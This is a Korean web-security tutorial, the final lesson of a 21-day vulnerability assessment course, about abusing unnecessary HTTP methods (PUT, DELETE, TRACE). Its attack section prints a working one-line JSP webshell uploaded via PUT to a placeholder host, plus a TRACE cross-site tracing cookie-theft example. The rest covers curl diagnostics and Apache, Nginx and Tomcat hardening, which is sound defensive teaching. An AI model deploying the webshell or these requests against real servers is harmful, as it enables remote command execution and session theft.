[주요정보통신기반시설 웹 애플리케이션 취약점 분석·평가 21일 완성 코스] 21강 — [Day 21] 불필요한 Method 악용
[Day 21] 불필요한 Method 악용 - 웹 애플리케이션 취약점 분석·평가 21일 완성
안녕하세요! Hackerstory 공부방의 IT/보안 튜터 정다은입니다. 👋
드디어 주요정보통신기반시설 웹 애플리케이션 취약점 분석·평가 코스의 마지막 날, Day 21에 오신 것을 환영합니다! 21일 동안 포기하지 않고 달려오신 여러분, 정말 고생 많으셨습니다.
오늘 우리가 마침표를 찍을 주제는 "불필요한 Method 악용" 취약점입니다. 웹 서버가 기본적으로 제공하는 다양한 HTTP 메서드(Method) 중, 서비스 운영에 필요하지 않은 위험한 메서드(PUT, DELETE, TRACE 등)가 열려 있어 발생하는 보안 위협과 이를 차단하는 실무 설정법을 자세히 알아보겠습니다.
1. 개념 설명: HTTP Method와 불필요한 Method의 위험성
1) HTTP Method란?
클라이언트(브라우저)가 서버에게 "이 요청을 어떻게 처리해 줘"라고 요청의 목적을 알려주는 수단입니다. 가장 흔히 쓰이는 메서드는 데이터를 조회하는 GET과 데이터를 제출하는 POST입니다.
RESTful API 환경이 대중화되면서 PUT, DELETE 등 다양한 메서드가 활용되고 있지만, 적절한 인증 및 권한 검증이나 웹 서버 통제가 이루어지지 않은 상태에서 불필요하게 활성화되어 있다면 매우 치명적인 공격 통로가 됩니다.
2) 위험한 HTTP Method 종류 및 위험성
| HTTP Method | 본래 용도 | 악용 시 발생하는 위협 |
|---|---|---|
| PUT | 지정한 URI에 파일(자원)을 생성하거나 덮어씀 | 웹셸(Webshell) 등 악성 파일 임의 업로드를 통한 시스템 권한 탈취 |
| DELETE | 지정한 URI의 파일(자원)을 삭제함 | 웹 서버 내 주요 소스코드 및 데이터 임의 삭제 (DoS/서비스 장애) |
| TRACE | 클라이언트의 요청을 그대로 Echo(반환)하여 경로 진단 | XST(Cross-Site Tracing) 공격을 통해 HttpOnly 쿠키 탈취 |
| OPTIONS | 서버에서 지원하는 HTTP 메서드 목록 조회 | 공격 전 사전 정보 수집(Target Reconnaissance)에 악용 |
| CONNECT | 프록시 동작을 위한 터널링 요청 | 서버를 프록시로 악용하여 내부망 침투 시도 |
⚠️ 핵심 포인트
일반적인 웹 서비스 환경(게시판, 일반 웹 페이지)에서는 GET과 POST(필요시 HEAD) 외의 메서드는 사용할 이유가 없습니다. REST API를 제공하더라도 프레임워크 단에서 엄격히 인가된 사용자만 사용하도록 제어해야 합니다.
2. 공격 예시 및 시나리오
실제 불필요한 메서드가 활성화되어 있을 때 어떤 시나리오로 공격이 수행되는지 살펴보겠습니다.
시나리오 1: PUT 메서드를 이용한 웹셸 업로드
공격자는 먼저 OPTIONS 요청을 통해 서버가 허용하는 메서드를 확인합니다.
1. OPTIONS 요청으로 허용 메서드 확인
OPTIONS / HTTP/1.1
Host: target-example.com
HTTP/1.1 200 OK
Allow: GET, POST, PUT, DELETE, OPTIONS
응답 결과 PUT과 DELETE가 허용되어 있음을 확인합니다.
2. PUT 요청을 통한 웹셸(Webshell) 파일 생성
PUT /uploads/shell.jsp HTTP/1.1
Host: target-example.com
Content-Type: text/html
Content-Length: 124
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
3. 응답 및 실행
HTTP/1.1 201 Created
Location: /uploads/shell.jsp
서버는 201 Created 응답을 주며 파일 생성에 성공합니다. 이후 공격자는 http://target-example.com/uploads/shell.jsp?cmd=whoami 주소로 접속하여 서버의 제어권을 획득하게 됩니다.
시나리오 2: TRACE 메서드와 XST(Cross-Site Tracing) 공격
보통 보안 강화를 위해 쿠키에 HttpOnly 속성을 부여하면 자바스크립트(document.cookie)로 쿠키를 읽을 수 없습니다. 하지만 TRACE 메서드가 활성화되어 있다면 이를 우회할 수 있습니다.
- 공격자는 타깃 사이트에 XSS 취약점을 이용해 악성 스크립트를 삽입합니다.
- 스크립트는 피해자의 브라우저에서 대상 서버로
TRACE요청을 보냅니다. - 서버는 요청을 그대로 복사하여 응답 바디(Response Body)에 담아 반환합니다. 이때 **브라우저가 자동으로 헤더에 넣어서 보낸 인증 쿠키(Cookie)**도 응답 바디에 그대로 찍혀서 돌아옵니다.
- 공격자의 스크립트는 응답 바디를 읽어
HttpOnly로 보호된 쿠키 값을 탈취합니다.
/* TRACE 요청 예시 */
TRACE / HTTP/1.1
Host: target-example.com
Cookie: SESSIONID=SecretAdminCookieValue1234
서버 응답:
HTTP/1.1 200 OK
Content-Type: message/http
TRACE / HTTP/1.1
Host: target-example.com
Cookie: SESSIONID=SecretAdminCookieValue1234 <-- HttpOnly 쿠키가 그대로 반환됨!
3. 진단 방법 및 실무 보안 대책 (정리)
📌 진단 방법 (curl 활용)
터미널이나 Burp Suite를 사용하여 허용된 메서드를 점검할 수 있습니다.
# 1. OPTIONS 메서드 확인
curl -v -X OPTIONS https://target-example.com/
# 2. TRACE 메서드 차단 여부 점검
curl -v -X TRACE https://target-example.com/
# 3. PUT 메서드를 통한 테스트 파일 생성 시도
curl -v -X PUT -d "test" https://target-example.com/test.txt
판정 기준
- 취약: PUT, DELETE, TRACE 요청 시
200 OK또는201 Created응답이 오거나, OPTIONS 요청 시 위험 메서드가 허용(Allow) 목록에 노출되는 경우- 양호: GET, POST 외의 불필요한 메서드 요청 시
405 Method Not Allowed또는403 Forbidden으로 거부하는 경우
🛡️ 실무 보안 대책 (웹 서버 및 프레임워크 설정)
웹 애플리케이션 코드 차원뿐만 아니라 웹 서버(Web Server) 설정을 통해 전역적으로 불필요한 메서드를 거부하는 것이 가장 확실한 대응책입니다.
1. Apache HTTP Server 설정
httpd.conf 또는 .htaccess 파일에 아래와 같이 설정하여 GET, POST, HEAD 외의 요청을 차단합니다.
# 특정 디렉터리 또는 전역 설정
<Directory "/var/www/html">
# GET, POST, HEAD만 허용하고 나머지는 차단
<LimitExcept GET POST HEAD>
Require all denied
</LimitExcept>
</Directory>
# TRACE 메서드는 별도 옵션으로 명시적 비활성화 (권장)
TraceEnable off
2. Nginx 설정
nginx.conf 파일의 server 또는 location 블록에 조건문을 추가합니다.
server {
listen 80;
server_name example.com;
# GET, POST, HEAD 이외의 메서드 접근 시 405 에러 반환
if ($request_method !~ ^(GET|POST|HEAD)$ ) {
return 405;
}
}
3. Tomcat (web.xml) 설정
WAS 단에서 차단하려면 web.xml에 security-constraint를 추가합니다.
<security-constraint>
<web-resource-collection>
<web-resource-name>Restricted Methods</web-resource-name>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
<http-method>DELETE</http-method>
<http-method>TRACE</http-method>
<http-method>OPTIONS</http-method>
</web-resource-collection>
<auth-constraint /> <!-- 접근 불가 설정 -->
</security-constraint>
✏️ Day 21 요약 및 체크리스트
- 위험성: 불필요한 HTTP 메서드(PUT, DELETE, TRACE 등)가 활성화되어 있으면 임의 파일 생성(웹셸), 소스 삭제, HttpOnly 쿠키 우회(XST) 등의 치명적인 공격에 노출됩니다.
- 진단:
curl -X OPTIONS또는curl -X TRACE명령어로 서버의 응답 코드(405또는403인지)를 확인합니다. - 대응: 웹 서버(Apache, Nginx 등) 및 WAS 설정에서 GET, POST, HEAD 등 필수 메서드를 제외한 모든 메서드를 전역 차단합니다.
🎉 [완강] 주요정보통신기반시설 웹 취약점 분석·평가 코스를 마치며
축하합니다! 👏
Day 1 코드 인젝션부터 오늘 Day 21 불필요한 Method 악용까지, 과학기술정보통신기반시설 가이드라인에서 다루는 웹 애플리케이션의 21가지 핵심 취약점을 모두 완벽하게 학습하셨습니다.
- 1~8강: 인젝션, XSS, CSRF, SSRF 등 주요 공격 기술 및 입출력 검증
- 9~14강: 인증/권한, 세션, 파일 업로드 등 비즈니스 로직 및 서버 보안
- 15~21강: 데이터 보호, 정보 노출, 자동화 공격, 서버 설정 등 운영 체계 고도화
이 21개 항목의 원리와 진단법, 그리고 조치 방안을 가슴에 품고 실무에 임하신다면, 여러분은 이미 준비된 웹 보안 전문가/진단원입니다.
그동안 강의 노트를 열람해 주시고 함께 고민해 주신 모든 분께 진심으로 감사드립니다. 공부방 질문 게시판은 항상 열려 있으니, 실무나 공부 중에 궁금한 점이 있다면 언제든 찾아주세요!
여러분 앞날의 보안 커리어를 정다은 튜터가 늘 응원하겠습니다. 감사합니다! 🎓🛡️
댓글 0
로그인하면 댓글을 작성할 수 있습니다.